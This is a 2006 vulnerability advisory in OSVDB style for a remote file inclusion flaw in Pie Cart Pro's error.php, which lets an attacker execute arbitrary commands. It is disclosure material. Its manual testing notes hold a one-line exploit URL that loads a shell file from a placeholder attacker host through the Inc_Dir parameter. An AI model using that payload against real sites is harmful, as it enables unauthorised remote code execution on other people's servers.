Pie Cart Pro error.php Inc_Dir Variable Remote File Inclusion

2006-09-19T08:48:43
ID OSVDB:29214
Type osvdb
Reporter SnIpEr_SA(selfar2002@hotmail.com)
Modified 2006-09-19T08:48:43

Description

Vulnerability Description

Pie Cart Pro Site Builder contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the error.php script not properly sanitizing user input supplied to the 'Inc_Dir' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.

Solution Description

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

Short Description

Pie Cart Pro Site Builder contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the error.php script not properly sanitizing user input supplied to the 'Inc_Dir' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.

Manual Testing Notes

http://[target]/[path]/error.php?Inc_Dir=http://[attacker]/shell.txt?

References:

Vendor URL: http://www.wahm-ecommerce.com/catalog.php?item=1&catid=1&ret=catalog.php?category=1 Secunia Advisory ID:22131 Related OSVDB ID: 29200 Related OSVDB ID: 29206 Related OSVDB ID: 29208 Related OSVDB ID: 29210 Related OSVDB ID: 29198 Related OSVDB ID: 29213 Related OSVDB ID: 29199 Related OSVDB ID: 29203 Related OSVDB ID: 29201 Related OSVDB ID: 29202 Related OSVDB ID: 29204 Related OSVDB ID: 29205 Related OSVDB ID: 29207 Related OSVDB ID: 29209 Related OSVDB ID: 29211 Related OSVDB ID: 29212 ISS X-Force ID: 29023 Generic Exploit URL: http://milw0rm.com/exploits/2393 CVE-2006-4969 Bugtraq ID: 20112